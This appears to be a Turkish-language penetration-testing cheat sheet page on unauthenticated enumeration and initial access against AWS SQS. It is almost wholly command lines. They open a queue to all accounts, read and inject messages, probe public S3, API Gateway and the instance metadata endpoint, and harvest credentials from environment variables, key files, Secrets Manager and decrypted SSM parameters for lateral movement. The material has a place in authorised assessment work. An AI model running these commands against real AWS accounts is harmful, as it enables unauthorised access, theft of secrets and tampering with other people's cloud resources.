Skip to content

AWS - SQS Unauthenticated Enum

AWS unauth

AWS - SQS Unauthenticated Enum — AWS ortamında kimlik doğrulamasız keşif ve ilk erişim notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Anonim / public yüzeyleri (URL, bucket, API, metadata) parmak izi al.

  2. Kimlik gerektiren uçları ayrı tut; açık policy / misconfig doğrula.

  3. Erişim kanıtı üret (listeleme, okuma, invoke).

  4. Elde edilen secret/token ile authenticated faza geç.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
aws sts get-caller-identity
Terminal window
aws configure list
Terminal window
echo $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'

AWS - SQS Unauthenticated Enum için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
aws sqs add-permission --queue-url URL --label open --aws-account-ids '*' --actions SendMessage
Terminal window
aws sqs start-message-move-task --source-arn DLQ_ARN --destination-arn QUEUE_ARN
Terminal window
aws sqs list-queues
Terminal window
aws sqs get-queue-attributes --queue-url URL --attribute-names All
Terminal window
aws sqs receive-message --queue-url URL --max-number-of-messages 10 --visibility-timeout 0
Terminal window
aws sqs send-message --queue-url URL --message-body '{"cmd":"id"}'
Terminal window
aws sqs set-queue-attributes --queue-url URL --attributes file://policy.json

İmzasız veya public istekle okuma/yazma/invoke mümkün mü — bunu netleştir.

Terminal window
aws s3 ls s3://BUCKET --no-sign-request
Terminal window
curl -s https://BUCKET.s3.amazonaws.com/
Terminal window
curl -s https://ID.execute-api.REGION.amazonaws.com/STAGE/
Terminal window
aws lambda get-policy --function-name FN 2>/dev/null | jq .
Terminal window
curl -s http://169.254.169.254/latest/meta-data/

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
aws secretsmanager list-secrets
Terminal window
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt